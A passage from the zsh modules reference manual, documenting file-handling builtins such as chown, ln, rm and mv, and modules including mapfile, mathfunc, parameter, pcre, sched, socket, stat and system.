change owner to user; do not change group

user**:**
change owner to user; change group to user’s primary group

user**:**group
change owner to user; change group to group

**:**group
do not change owner; change group to group

In each case, the `:’ may instead be a `.’. The rule is that if there is a `:’ then the separator is `:’, otherwise if there is a `.’ then the separator is `.’, otherwise there is no separator.

Each of user and group may be either a username (or group name, as appropriate) or a decimal user ID (group ID). Interpretation as a name takes precedence, if there is an all-numeric username (or group name).

If the target is a symbolic link, the -h option causes chown to set the ownership of the link instead of its target.

The -R option causes chown to recursively descend into directories, changing the ownership of all files in the directory after changing the ownership of the directory itself.

The -s option is a zsh extension to chown functionality. It enables paranoid behaviour, intended to avoid security problems involving a chown being tricked into affecting files other than the ones intended. It will refuse to follow symbolic links, so that (for example) ``chown luser /tmp/foo/passwd’’ can’t accidentally chown /etc/passwd if /tmp/foo happens to be a link to /etc. It will also check where it is after leaving directories, so that a recursive chown of a deep directory tree can’t end up recursively chowning /usr as a result of directories being moved up the tree.

ln [ -dfhins ] filename dest

ln [ -dfhins ] filenamedir Creates hard (or, with -s, symbolic) links. In the first form, the specified destination is created, as a link to the specified filename. In the second form, each of the filenames is taken in turn, and linked to a pathname in the specified directory that has the same last pathname component.

Normally, ln will not attempt to create hard links to directories. This check can be overridden using the -d option. Typically only the super-user can actually succeed in creating hard links to directories. This does not apply to symbolic links in any case.

By default, existing files cannot be replaced by links. The -i option causes the user to be queried about replacing existing files. The -f option causes existing files to be silently deleted, without querying. -f takes precedence.

The -h and -n options are identical and both exist for compatibility; either one indicates that if the target is a symlink then it should not be dereferenced. Typically this is used in combination with -sf so that if an existing link points to a directory then it will be removed, instead of followed. If this option is used with multiple filenames and the target is a symbolic link pointing to a directory then the result is an error.

mkdir [ -p ] [ -m mode ] dir
Creates directories. With the -p option, non-existing parent directories are first created if necessary, and there will be no complaint if the directory already exists. The -m option can be used to specify (in octal) a set of file permissions for the created directories, otherwise mode 777 modified by the current umask (see umask(2)) is used.

mv [ -fi ] filename dest

mv [ -fi ] filenamedir Moves files. In the first form, the specified filename is moved to the specified destination. In the second form, each of the filenames is taken in turn, and moved to a pathname in the specified directory that has the same last pathname component.

By default, the user will be queried before replacing any file that the user cannot write to, but writable files will be silently removed. The -i option causes the user to be queried about replacing any existing files. The -f option causes any existing files to be silently deleted, without querying. -f takes precedence.

Note that this mv will not move files across devices. Historical versions of mv, when actual renaming is impossible, fall back on copying and removing files; if this behaviour is desired, use cp and rm manually. This may change in a future version.

rm [ -dfiRrs ] filename
Removes files and directories specified.

Normally, rm will not remove directories (except with the -R or -r options). The -d option causes rm to try removing directories with unlink (see unlink(2)), the same method used for files. Typically only the super-user can actually succeed in unlinking directories in this way. -d takes precedence over -R and -r.

By default, the user will be queried before removing any file that the user cannot write to, but writable files will be silently removed. The -i option causes the user to be queried about removing any files. The -f option causes files to be silently deleted, without querying, and suppresses all error indications. -f takes precedence.

The -R and -r options cause rm to recursively descend into directories, deleting all files in the directory before removing the directory with the rmdir system call (see rmdir(2)).

The -s option is a zsh extension to rm functionality. It enables paranoid behaviour, intended to avoid common security problems involving a root-run rm being tricked into removing files other than the ones intended. It will refuse to follow symbolic links, so that (for example) ``rm /tmp/foo/passwd’’ can’t accidentally remove /etc/passwd if /tmp/foo happens to be a link to /etc. It will also check where it is after leaving directories, so that a recursive removal of a deep directory tree can’t end up recursively removing /usr as a result of directories being moved up the tree.

rmdir dir
Removes empty directories specified.

sync
Calls the system call of the same name (see sync(2)), which flushes dirty buffers to disk. It might return before the I/O has actually been completed.

THE ZSH/LANGINFO MODULE

The zsh/langinfo module makes available one parameter:

langinfo An associative array that maps langinfo elements to their values.

Your implementation may support a number of the following keys:

CODESET, D_T_FMT, D_FMT, T_FMT, RADIXCHAR, THOUSEP, YESEXPR, NOEXPR, CRNCYSTR, ABDAY_{1..7}, DAY_{1..7}, ABMON_{1..12}, MON_{1..12}, T_FMT_AMPM, AM_STR, PM_STR, ERA, ERA_D_FMT, ERA_D_T_FMT, ERA_T_FMT, ALT_DIGITS

THE ZSH/MAPFILE MODULE

The zsh/mapfile module provides one special associative array parameter of the same name.

mapfile This associative array takes as keys the names of files; the resulting value is the content of the file. The value is treated identically to any other text coming from a parameter. The value may also be assigned to, in which case the file in question is written (whether or not it originally existed); or an element may be unset, which will delete the file in question. For example, `vared ‘mapfile[myfile]’’ works as expected, editing the file `myfile’.

When the array is accessed as a whole, the keys are the names of files in the current directory, and the values are empty (to save a huge overhead in memory). Thus ${(k)mapfile} has the same effect as the glob operator *(D), since files beginning with a dot are not special. Care must be taken with expressions such as rm ${(k)mapfile}, which will delete every file in the current directory without the usual `rm *’ test.

The parameter mapfile may be made read-only; in that case, files referenced may not be written or deleted.

A file may conveniently be read into an array as one line per element with the form `array**=("${(f@)mapfile[filename]}")’. The double quotes and the `@’ are necessary to prevent empty lines from being removed. Note that if the file ends with a newline, the shell will split on the final newline, generating an additional empty field; this can be suppressed by using `array=("${(f@)${mapfile[filename]%$' ‘}}")**’.

Limitations

Although reading and writing of the file in question is efficiently handled, zsh’s internal memory management may be arbitrarily baroque; however, mapfile is usually very much more efficient than anything involving a loop. Note in particular that the whole contents of the file will always reside physically in memory when accessed (possibly multiple times, due to standard parameter substitution operations). In particular, this means handling of sufficiently long files (greater than the machine’s swap space, or than the range of the pointer type) will be incorrect.

No errors are printed or flagged for non-existent, unreadable, or unwritable files, as the parameter mechanism is too low in the shell execution hierarchy to make this convenient.

It is unfortunate that the mechanism for loading modules does not yet allow the user to specify the name of the shell parameter to be given the special behaviour.

THE ZSH/MATHFUNC MODULE

The zsh/mathfunc module provides standard mathematical functions for use when evaluating mathematical formulae. The syntax agrees with normal C and FORTRAN conventions, for example,

(( f = sin(0.3) ))

assigns the sine of 0.3 to the parameter f.

Most functions take floating point arguments and return a floating point value. However, any necessary conversions from or to integer type will be performed automatically by the shell. Apart from atan with a second argument and the abs, int and float functions, all functions behave as noted in the manual page for the corresponding C function, except that any arguments out of range for the function in question will be detected by the shell and an error reported.

The following functions take a single floating point argument: acos, acosh, asin, asinh, atan, atanh, cbrt, ceil, cos, cosh, erf, erfc, exp, expm1, fabs, floor, gamma, j0, j1, lgamma, log, log10, log1p, log2, logb, sin, sinh, sqrt, tan, tanh, y0, y1. The atan function can optionally take a second argument, in which case it behaves like the C function atan2. The ilogb function takes a single floating point argument, but returns an integer.

The function signgam takes no arguments, and returns an integer, which is the C variable of the same name, as described in gamma(3). Note that it is therefore only useful immediately after a call to gamma or lgamma. Note also that `signgam()’ and `signgam’ are distinct expressions.

The functions min, max, and sum are defined not in this module but in the zmathfunc autoloadable function, described in the section `Mathematical Functions’ in zshcontrib(1).

The following functions take two floating point arguments: copysign, fmod, hypot, nextafter.

The following take an integer first argument and a floating point second argument: jn, yn.

The following take a floating point first argument and an integer second argument: ldexp, scalb.

The function abs does not convert the type of its single argument; it returns the absolute value of either a floating point number or an integer. The functions float and int convert their arguments into a floating point or integer value (by truncation) respectively.

Note that the C pow function is available in ordinary math evaluation as the `**’ operator and is not provided here.

The function rand48 is available if your system’s mathematical library has the function erand48(3). It returns a pseudo-random floating point number between 0 and 1. It takes a single string optional argument.

If the argument is not present, the random number seed is initialised by three calls to the rand(3) function — this produces the same random numbers as the next three values of $RANDOM.

If the argument is present, it gives the name of a scalar parameter where the current random number seed will be stored. On the first call, the value must contain at least twelve hexadecimal digits (the remainder of the string is ignored), or the seed will be initialised in the same manner as for a call to rand48 with no argument. Subsequent calls to rand48(param) will then maintain the seed in the parameter param as a string of twelve hexadecimal digits, with no base signifier. The random number sequences for different parameters are completely independent, and are also independent from that used by calls to rand48 with no argument.

For example, consider

print $(( rand48(seed) )) print $(( rand48() )) print $(( rand48(seed) ))

Assuming $seed does not exist, it will be initialised by the first call. In the second call, the default seed is initialised; note, however, that because of the properties of rand() there is a correlation between the seeds used for the two initialisations, so for more secure uses, you should generate your own 12-byte seed. The third call returns to the same sequence of random numbers used in the first call, unaffected by the intervening rand48().

THE ZSH/NEARCOLOR MODULE

The zsh/nearcolor module replaces colours specified as hex triplets with the nearest colour in the 88 or 256 colour palettes that are widely used by terminal emulators. By default, 24-bit true colour escape codes are generated when colours are specified using hex triplets. These are not supported by all terminals. The purpose of this module is to make it easier to define colour preferences in a form that can work across a range of terminal emulators.

Aside from the default colour, the ANSI standard for terminal escape codes provides for eight colours. The bright attribute brings this to sixteen. These basic colours are commonly used in terminal applications due to being widely supported. Expanded 88 and 256 colour palettes are also common and, while the first sixteen colours vary somewhat between terminals and configurations, these add a generally consistent and predictable set of colours.

In order to use the zsh/nearcolor module, it only needs to be loaded. Thereafter, whenever a colour is specified using a hex triplet, it will be compared against each of the available colours and the closest will be selected. The first sixteen colours are never matched in this process due to being unpredictable.

It isn’t possible to reliably detect support for true colour in the terminal emulator. It is therefore recommended to be selective in loading the zsh/nearcolor module. For example, the following checks the COLORTERM environment variable:

[[ $COLORTERM = (24bit|truecolor) ]] || zmodload zsh/nearcolor

Note that some terminals accept the true color escape codes but map them internally to a more limited palette in a similar manner to the zsh/nearcolor module.

THE ZSH/NEWUSER MODULE

The zsh/newuser module is loaded at boot if it is available, the RCS option is set, and the PRIVILEGED option is not set (all three are true by default). This takes place immediately after commands in the global zshenv file (typically /etc/zsh/zshenv), if any, have been executed. If the module is not available it is silently ignored by the shell; the module may safely be removed from $MODULE_PATH by the administrator if it is not required.

On loading, the module tests if any of the start-up files .zshenv, .zprofile, .zshrc or .zlogin exist in the directory given by the environment variable ZDOTDIR, or the user’s home directory if that is not set. The test is not performed and the module halts processing if the shell was in an emulation mode (i.e. had been invoked as some other shell than zsh).

If none of the start-up files were found, the module then looks for the file newuser first in a sitewide directory, usually the parent directory of the site-functions directory, and if that is not found the module searches in a version-specific directory, usually the parent of the functions directory containing version-specific functions. (These directories can be configured when zsh is built using the –enable-site-scriptdir=dir and –enable-scriptdir=dir flags to configure, respectively; the defaults are prefix/share/zsh and prefix/share/zsh/$ZSH_VERSION where the default prefix is /usr/local.)

If the file newuser is found, it is then sourced in the same manner as a start-up file. The file is expected to contain code to install start-up files for the user, however any valid shell code will be executed.

The zsh/newuser module is then unconditionally unloaded.

Note that it is possible to achieve exactly the same effect as the zsh/newuser module by adding code to /etc/zsh/zshenv. The module exists simply to allow the shell to make arrangements for new users without the need for intervention by package maintainers and system administrators.

The script supplied with the module invokes the shell function zsh-newuser-install. This may be invoked directly by the user even if the zsh/newuser module is disabled. Note, however, that if the module is not installed the function will not be installed either. The function is documented in the section `User Configuration Functions’ in zshcontrib(1).

THE ZSH/PARAMETER MODULE

The zsh/parameter module gives access to some of the internal hash tables used by the shell by defining some special parameters.

options The keys for this associative array are the names of the options that can be set and unset using the setopt and unsetopt builtins. The value of each key is either the string on if the option is currently set, or the string off if the option is unset. Setting a key to one of these strings is like setting or unsetting the option, respectively. Unsetting a key in this array is like setting it to the value off.

commands
This array gives access to the command hash table. The keys are the names of external commands, the values are the pathnames of the files that would be executed when the command would be invoked. Setting a key in this array defines a new entry in this table in the same way as with the hash builtin. Unsetting a key as in `unset “commands[foo]”’ removes the entry for the given key from the command hash table.

functions
This associative array maps names of enabled functions to their definitions. Setting a key in it is like defining a function with the name given by the key and the body given by the value. Unsetting a key removes the definition for the function named by the key.

dis_functions
Like functions but for disabled functions.

functions_source
This readonly associative array maps names of enabled functions to the name of the file containing the source of the function.

For an autoloaded function that has already been loaded, or marked for autoload with an absolute path, or that has had its path resolved with `functions -r’, this is the file found for autoloading, resolved to an absolute path.

For a function defined within the body of a script or sourced file, this is the name of that file. In this case, this is the exact path originally used to that file, which may be a relative path.

For any other function, including any defined at an interactive prompt or an autoload function whose path has not yet been resolved, this is the empty string. However, the hash element is reported as defined just so long as the function is present: the keys to this hash are the same as those to $functions.

dis_functions_source
Like functions_source but for disabled functions.

builtins
This associative array gives information about the builtin commands currently enabled. The keys are the names of the builtin commands and the values are either `undefined’ for builtin commands that will automatically be loaded from a module if invoked or `defined’ for builtin commands that are already loaded.

dis_builtins
Like builtins but for disabled builtin commands.

reswords
This array contains the enabled reserved words.

dis_reswords
Like reswords but for disabled reserved words.

patchars
This array contains the enabled pattern characters.

dis_patchars
Like patchars but for disabled pattern characters.

aliases
This maps the names of the regular aliases currently enabled to their expansions.

dis_aliases
Like aliases but for disabled regular aliases.

galiases
Like aliases, but for global aliases.

dis_galiases
Like galiases but for disabled global aliases.

saliases
Like raliases, but for suffix aliases.

dis_saliases
Like saliases but for disabled suffix aliases.

parameters
The keys in this associative array are the names of the parameters currently defined. The values are strings describing the type of the parameter, in the same format used by the t parameter flag, see zshexpn(1) . Setting or unsetting keys in this array is not possible.

modules
An associative array giving information about modules. The keys are the names of the modules loaded, registered to be autoloaded, or aliased. The value says which state the named module is in and is one of the strings `loaded’, `autoloaded’, or `**alias:**name’, where name is the name the module is aliased to.

Setting or unsetting keys in this array is not possible.

dirstack
A normal array holding the elements of the directory stack. Note that the output of the dirs builtin command includes one more directory, the current working directory.

history
This associative array maps history event numbers to the full history lines. Although it is presented as an associative array, the array of all values (${history[@]}) is guaranteed to be returned in order from most recent to oldest history event, that is, by decreasing history event number.

historywords
A special array containing the words stored in the history. These also appear in most to least recent order.

jobdirs
This associative array maps job numbers to the directories from which the job was started (which may not be the current directory of the job).

The keys of the associative arrays are usually valid job numbers, and these are the values output with, for example, ${(k)jobdirs}. Non-numeric job references may be used when looking up a value; for example, ${jobdirs[%+]} refers to the current job.

See the jobs builtin for how job information is provided in a subshell.

jobtexts
This associative array maps job numbers to the texts of the command lines that were used to start the jobs.

Handling of the keys of the associative array is as described for jobdirs above.

See the jobs builtin for how job information is provided in a subshell.

jobstates
This associative array gives information about the states of the jobs currently known. The keys are the job numbers and the values are strings of the form `job-state**:mark:pid=state…’. The job-state gives the state the whole job is currently in, one of `running’, `suspended’, or `done’. The mark is `+’ for the current job, `-’ for the previous job and empty otherwise. This is followed by one `:pid=**state’ for every process in the job. The pids are, of course, the process IDs and the state describes the state of that process.

Handling of the keys of the associative array is as described for jobdirs above.

See the jobs builtin for how job information is provided in a subshell.

nameddirs
This associative array maps the names of named directories to the pathnames they stand for.

userdirs
This associative array maps user names to the pathnames of their home directories.

usergroups
This associative array maps names of system groups of which the current user is a member to the corresponding group identifiers. The contents are the same as the groups output by the id command.

funcfiletrace
This array contains the absolute line numbers and corresponding file names for the point where the current function, sourced file, or (if EVAL_LINENO is set) eval command was called. The array is of the same length as funcsourcetrace and functrace, but differs from funcsourcetrace in that the line and file are the point of call, not the point of definition, and differs from functrace in that all values are absolute line numbers in files, rather than relative to the start of a function, if any.

funcsourcetrace
This array contains the file names and line numbers of the points where the functions, sourced files, and (if EVAL_LINENO is set) eval commands currently being executed were defined. The line number is the line where the `function name’ or `name ()’ started. In the case of an autoloaded function the line number is reported as zero. The format of each element is filename**:**lineno.

For functions autoloaded from a file in native zsh format, where only the body of the function occurs in the file, or for files that have been executed by the source or `.’ builtins, the trace information is shown as filename**:**0, since the entire file is the definition. The source file name is resolved to an absolute path when the function is loaded or the path to it otherwise resolved.

Most users will be interested in the information in the funcfiletrace array instead.

funcstack
This array contains the names of the functions, sourced files, and (if EVAL_LINENO is set) eval commands. currently being executed. The first element is the name of the function using the parameter.

The standard shell array zsh_eval_context can be used to determine the type of shell construct being executed at each depth: note, however, that is in the opposite order, with the most recent item last, and it is more detailed, for example including an entry for toplevel, the main shell code being executed either interactively or from a script, which is not present in $funcstack.

functrace
This array contains the names and line numbers of the callers corresponding to the functions currently being executed. The format of each element is name**:lineno. Callers are also shown for sourced files; the caller is the point where the source or `.**’ command was executed.

THE ZSH/PCRE MODULE

The zsh/pcre module makes some commands available as builtins:

pcre_compile [ -aimxs ] PCRE Compiles a perl-compatible regular expression.

Option -a will force the pattern to be anchored. Option -i will compile a case-insensitive pattern. Option -m will compile a multi-line pattern; that is, ^ and $ will match newlines within the pattern. Option -x will compile an extended pattern, wherein whitespace and # comments are ignored. Option -s makes the dot metacharacter match all characters, including those that indicate newline.

pcre_study
Studies the previously-compiled PCRE which may result in faster matching.

pcre_match [ -v var ] [ -a arr ] [ -n offset ] [ -b ] string
Returns successfully if string matches the previously-compiled PCRE.

Upon successful match, if the expression captures substrings within parentheses, pcre_match will set the array match to those substrings, unless the -a option is given, in which case it will set the array arr. Similarly, the variable MATCH will be set to the entire matched portion of the string, unless the -v option is given, in which case the variable var will be set. No variables are altered if there is no successful match. A -n option starts searching for a match from the byte offset position in string. If the -b option is given, the variable ZPCRE_OP will be set to an offset pair string, representing the byte offset positions of the entire matched portion within the string. For example, a ZPCRE_OP set to “32 45” indicates that the matched portion began on byte offset 32 and ended on byte offset 44. Here, byte offset position 45 is the position directly after the matched portion. Keep in mind that the byte position isn’t necessarily the same as the character position when UTF-8 characters are involved. Consequently, the byte offset positions are only to be relied on in the context of using them for subsequent searches on string, using an offset position as an argument to the -n option. This is mostly used to implement the “find all non-overlapping matches” functionality.

A simple example of “find all non-overlapping matches”:

string=“The following zip codes: 78884 90210 99513” pcre_compile -m “\d{5}” accum=() pcre_match -b – $string while [[ $? -eq 0 ]] do b=($=ZPCRE_OP) accum+=$MATCH pcre_match -b -n $b[2] – $string done print -l $accum

The zsh/pcre module makes available the following test condition:

expr -pcre-match pcre Matches a string against a perl-compatible regular expression.

For example,

[[ “$text” -pcre-match ^d+$ ]] && print text variable contains only “d’s”.

If the REMATCH_PCRE option is set, the =~ operator is equivalent to -pcre-match, and the NO_CASE_MATCH option may be used. Note that NO_CASE_MATCH never applies to the pcre_match builtin, instead use the -i switch of pcre_compile.

THE ZSH/PARAM/PRIVATE MODULE

The zsh/param/private module is used to create parameters whose scope is limited to the current function body, and not to other functions called by the current function.

This module provides a single autoloaded builtin:

private [ {+|-}AHUahlmrtux ] [ {+|-}EFLRZi [ n ] ] [ name[=value] … ] The private builtin accepts all the same options and arguments as local (zshbuiltins(1)) except for the `-T’ option. Tied parameters may not be made private.

The `-p’ option is presently a no-op because the state of private parameters cannot reliably be reloaded. This also applies to printing private parameters with `typeset -p'.

If used at the top level (outside a function scope), private creates a normal parameter in the same manner as declare or typeset. A warning about this is printed if WARN_CREATE_GLOBAL is set (zshoptions(1)). Used inside a function scope, private creates a local parameter similar to one declared with local, except having special properties noted below.

Special parameters which expose or manipulate internal shell state, such as ARGC, argv, COLUMNS, LINES, UID, EUID, IFS, PROMPT, RANDOM, SECONDS, etc., cannot be made private unless the `-h’ option is used to hide the special meaning of the parameter. This may change in the future.

As with other typeset equivalents, private is both a builtin and a reserved word, so arrays may be assigned with parenthesized word list name**=(value)** syntax. However, the reserved word `private’ is not available until zsh/param/private is loaded, so care must be taken with order of execution and parsing for function definitions which use private. To compensate for this, the module also adds the option `-P’ to the `local’ builtin to declare private parameters.

For example, this construction fails if zsh/param/private has not yet been loaded when `bad_declaration’ is defined:

bad_declaration() { zmodload zsh/param/private private array=( one two three ) }

This construction works because local is already a keyword, and the module is loaded before the statement is executed:

good_declaration() { zmodload zsh/param/private local -P array=( one two three ) }

The following is usable in scripts but may have trouble with autoload:

zmodload zsh/param/private iffy_declaration() { private array=( one two three ) }

The private builtin may always be used with scalar assignments and for declarations without assignments.

Parameters declared with private have the following properties:

· Within the function body where it is declared, the parameter behaves as a local, except as noted above for tied or special parameters.

·
The type of a parameter declared private cannot be changed in the scope where it was declared, even if the parameter is unset. Thus an array cannot be assigned to a private scalar, etc.

·
Within any other function called by the declaring function, the private parameter does NOT hide other parameters of the same name, so for example a global parameter of the same name is visible and may be assigned or unset. This includes calls to anonymous functions, although that may also change in the future. However, the private name may not be created outside the local scope when it was not previously declared.

·
An exported private remains in the environment of inner scopes but appears unset for the current shell in those scopes. Generally, exporting private parameters should be avoided.

Note that this differs from the static scope defined by compiled languages derived from C, in that the a new call to the same function creates a new scope, i.e., the parameter is still associated with the call stack rather than with the function definition. It differs from ksh `typeset -S’ because the syntax used to define the function has no bearing on whether the parameter scope is respected.

THE ZSH/REGEX MODULE

The zsh/regex module makes available the following test condition:

expr -regex-match regex Matches a string against a POSIX extended regular expression. On successful match, matched portion of the string will normally be placed in the MATCH variable. If there are any capturing parentheses within the regex, then the match array variable will contain those. If the match is not successful, then the variables will not be altered.

For example,

[[ alphabetical -regex-match ^a([^a]+)a([^a]+)a ]] && print -l $MATCH X $match

If the option REMATCH_PCRE is not set, then the =~ operator will automatically load this module as needed and will invoke the -regex-match operator.

If BASH_REMATCH is set, then the array BASH_REMATCH will be set instead of MATCH and match.

Note that the zsh/regex module logic relies on the host system. The same expr and regex pair could produce different results on different platforms if a regex with non-standard syntax is given.

For example, no syntax for matching a word boundary is defined in the POSIX extended regular expression standard. GNU libc and BSD libc both provide such syntaxes as extensions ( and [[:<:]]/[[:>:]] respectively), but neither of these syntaxes is supported by both of these implementations.

Refer to the regcomp(3) and re_format(7) manual pages on your system for locally-supported syntax.

THE ZSH/SCHED MODULE

The zsh/sched module makes available one builtin command and one parameter.

sched [-o] [+]hh**:mm[:**ss] command

sched [-o] [+]seconds command

sched [ **-**item ] Make an entry in the scheduled list of commands to execute. The time may be specified in either absolute or relative time, and either as hours, minutes and (optionally) seconds separated by a colon, or seconds alone. An absolute number of seconds indicates the time since the epoch (1970/01/01 00:00); this is useful in combination with the features in the zsh/datetime module, see the zsh/datetime module entry in zshmodules(1).

With no arguments, prints the list of scheduled commands. If the scheduled command has the -o flag set, this is shown at the start of the command.

With the argument `**-**item’, removes the given item from the list. The numbering of the list is continuous and entries are in time order, so the numbering can change when entries are added or deleted.

Commands are executed either immediately before a prompt, or while the shell’s line editor is waiting for input. In the latter case it is useful to be able to produce output that does not interfere with the line being edited. Providing the option -o causes the shell to clear the command line before the event and redraw it afterwards. This should be used with any scheduled event that produces visible output to the terminal; it is not needed, for example, with output that updates a terminal emulator’s title bar.

To effect changes to the editor buffer when an event executes, use the `zle’ command with no arguments to test whether the editor is active, and if it is, then use `zle widget’ to access the editor via the named widget.

The sched builtin is not made available by default when the shell starts in a mode emulating another shell. It can be made available with the command `zmodload -F zsh/sched b:sched'.

zsh_scheduled_events A readonly array corresponding to the events scheduled by the sched builtin. The indices of the array correspond to the numbers shown when sched is run with no arguments (provided that the KSH_ARRAYS option is not set). The value of the array consists of the scheduled time in seconds since the epoch (see the section `The zsh/datetime Module’ for facilities for using this number), followed by a colon, followed by any options (which may be empty but will be preceded by a `-’ otherwise), followed by a colon, followed by the command to be executed.

The sched builtin should be used for manipulating the events. Note that this will have an immediate effect on the contents of the array, so that indices may become invalid.

THE ZSH/NET/SOCKET MODULE

The zsh/net/socket module makes available one builtin command:

zsocket [ -altv ] [ -d fd ] [ args ] zsocket is implemented as a builtin to allow full use of shell command line editing, file I/O, and job control mechanisms.

Outbound Connections

zsocket [ -v ] [ -d fd ] filename Open a new Unix domain connection to filename. The shell parameter REPLY will be set to the file descriptor associated with that connection. Currently, only stream connections are supported.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

In order to elicit more verbose output, use -v.

File descriptors can be closed with normal shell syntax when no longer needed, for example:

exec {REPLY}>&-

Inbound Connections

zsocket -l [ -v ] [ -d fd ] filename zsocket -l will open a socket listening on filename. The shell parameter REPLY will be set to the file descriptor associated with that listener. The file descriptor remains open in subshells and forked external executables.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

In order to elicit more verbose output, use -v.

zsocket -a [ -tv ] [ -d targetfd ] listenfd
zsocket -a will accept an incoming connection to the socket associated with listenfd. The shell parameter REPLY will be set to the file descriptor associated with the inbound connection. The file descriptor remains open in subshells and forked external executables.

If -d is specified, its argument will be taken as the target file descriptor for the connection.

If -t is specified, zsocket will return if no incoming connection is pending. Otherwise it will wait for one.

In order to elicit more verbose output, use -v.

THE ZSH/STAT MODULE

The zsh/stat module makes available one builtin command under two possible names:

zstat [ -gnNolLtTrs ] [ -f fd ] [ -H hash ] [ -A array ] [ -F fmt ]

[ **+**element ] [ file … ]

stat The command acts as a front end to the stat system call (see stat(2)). The same command is provided with two names; as the name stat is often used by an external command it is recommended that only the zstat form of the command is used. This can be arranged by loading the module with the command `zmodload -F zsh/stat b:zstat'.

If the stat call fails, the appropriate system error message printed and status 1 is returned. The fields of struct stat give information about the files provided as arguments to the command. In addition to those available from the stat call, an extra element `link’ is provided. These elements are:

device The number of the device on which the file resides.

inode
The unique number of the file on this device (`inode’ number).

mode
The mode of the file; that is, the file’s type and access permissions. With the -s option, this will be returned as a string corresponding to the first column in the display of the ls -l command.

nlink
The number of hard links to the file.

uid
The user ID of the owner of the file. With the -s option, this is displayed as a user name.

gid
The group ID of the file. With the -s option, this is displayed as a group name.

rdev
The raw device number. This is only useful for special devices.

size
The size of the file in bytes.

atime

mtime

ctime The last access, modification and inode change times of the file, respectively, as the number of seconds since midnight GMT on 1st January, 1970. With the -s option, these are printed as strings for the local time zone; the format can be altered with the -F option, and with the -g option the times are in GMT.

blksize
The number of bytes in one allocation block on the device on which the file resides.

block
The number of disk blocks used by the file.

link
If the file is a link and the -L option is in effect, this contains the name of the file linked to, otherwise it is empty. Note that if this element is selected (``zstat +link’’) then the -L option is automatically used.

A particular element may be selected by including its name preceded by a `+’ in the option list; only one element is allowed. The element may be shortened to any unique set of leading characters. Otherwise, all elements will be shown for all files.

Options:

-A array Instead of displaying the results on standard output, assign them to an array, one struct stat element per array element for each file in order. In this case neither the name of the element nor the name of the files appears in array unless the -t or -n options were given, respectively. If -t is given, the element name appears as a prefix to the appropriate array element; if -n is given, the file name appears as a separate array element preceding all the others. Other formatting options are respected.

-H hash
Similar to -A, but instead assign the values to hash. The keys are the elements listed above. If the -n option is provided then the name of the file is included in the hash with key name.

-f fd
Use the file on file descriptor fd instead of named files; no list of file names is allowed in this case.

-F fmt
Supplies a strftime (see strftime(3)) string for the formatting of the time elements. The format string supports all of the zsh extensions described in the section EXPANSION OF PROMPT SEQUENCES in zshmisc(1). In particular, -F %s.%N can be used to show timestamps with nanosecond precision if supported by the system. The -s option is implied.

-g
Show the time elements in the GMT time zone. The -s option is implied.

-l
List the names of the type elements (to standard output or an array as appropriate) and return immediately; arguments, and options other than -A, are ignored.

-L
Perform an lstat (see lstat(2)) rather than a stat system call. In this case, if the file is a link, information about the link itself rather than the target file is returned. This option is required to make the link element useful. It’s important to note that this is the exact opposite from ls(1), etc.

-n
Always show the names of files. Usually these are only shown when output is to standard output and there is more than one file in the list.

-N
Never show the names of files.

-o
If a raw file mode is printed, show it in octal, which is more useful for human consumption than the default of decimal. A leading zero will be printed in this case. Note that this does not affect whether a raw or formatted file mode is shown, which is controlled by the -r and -s options, nor whether a mode is shown at all.

-r
Print raw data (the default format) alongside string data (the -s format); the string data appears in parentheses after the raw data.

-s
Print mode, uid, gid and the three time elements as strings instead of numbers. In each case the format is like that of ls -l.

-t
Always show the type names for the elements of struct stat. Usually these are only shown when output is to standard output and no individual element has been selected.

-T
Never show the type names of the struct stat elements.

THE ZSH/SYSTEM MODULE

The zsh/system module makes available various builtin commands and parameters.

Builtins

syserror [ -e errvar ] [ -p prefix ] [ errno | errname ] This command prints out the error message associated with errno, a system error number, followed by a newline to standard error.

Instead of the error number, a name errname, for example ENOENT, may be used. The set of names is the same as the contents of the array errnos, see below.

If the string prefix is given, it is printed in front of the error message, with no intervening space.

If errvar is supplied, the entire message, without a newline, is assigned to the parameter names errvar and nothing is output.

A return status of 0 indicates the message was successfully printed (although it may not be useful if the error number was out of the system’s range), a return status of 1 indicates an error in the parameters, and a return status of 2 indicates the error name was not recognised (no message is printed for this).

sysopen [ -arw ] [ -m permissions ] [ -o options ]

-u fd file This command opens a file. The -r, -w and -a flags indicate whether the file should be opened for reading, writing and appending, respectively. The -m option allows the initial permissions to use when creating a file to be specified in octal form. The file descriptor is specified with -u. Either an explicit file descriptor in the range 0 to 9 can be specified or a variable name can be given to which the file descriptor number will be assigned.

The -o option allows various system specific options to be specified as a comma-separated list. The following is a list of possible options. Note that, depending on the system, some may not be available.

cloexec mark file to be closed when other programs are executed (else the file descriptor remains open in subshells and forked external executables)

create

creat create file if it does not exist

excl
create file, error if it already exists

noatime
suppress updating of the file atime

nofollow
fail if file is a symbolic link

nonblock
the file is opened in nonblocking mode

sync
request that writes wait until data has been physically written

truncate

trunc truncate file to size 0

To close the file, use one of the following:

exec {fd}<&- exec {fd}>&-

sysread [ -c countvar ] [ -i infd ] [ -o outfd ]

[ -s bufsize ] [ -t timeout ] [ param ] Perform a single system read from file descriptor infd**, or zero if** that is not given. The result of the read is stored in param or REPLY if that is not given. If countvar is given, the number of bytes read is assigned to the parameter named by countvar**.**

The maximum number of bytes read is bufsize or 8192 if that is not given, however the command returns as soon as any number of bytes was successfully read.

If timeout is given, it specifies a timeout in seconds, which may be zero to poll the file descriptor. This is handled by the poll system call if available, otherwise the select system call if available.

If outfd is given, an attempt is made to write all the bytes just read to the file descriptor outfd**. If this fails, because of a** system error other than EINTR or because of an internal zsh error during an interrupt, the bytes read but not written are stored in the parameter named by param if supplied (no default is used in this case), and the number of bytes read but not written is stored in the parameter named by countvar if that is supplied. If it was successful, countvar contains the full number of bytes transferred, as usual, and param is not set.

The error EINTR (interrupted system call) is handled internally so that shell interrupts are transparent to the caller. Any other error causes a return.

The possible return statuses are

0 At least one byte of data was successfully read and, if appropriate, written.

1
There was an error in the parameters to the command. This is the only error for which a message is printed to standard error.

2
There was an error on the read, or on polling the input file descriptor for a timeout. The parameter ERRNO gives the error.

3
Data were successfully read, but there was an error writing them to outfd**. The parameter ERRNO gives the error.**

4
The attempt to read timed out. Note this does not set ERRNO as this is not a system error.

5
No system error occurred, but zero bytes were read. This usually indicates end of file. The parameters are set according to the usual rules; no write to outfd is attempted.

sysseek [ -u fd ] [ -w start|end|current ] offset
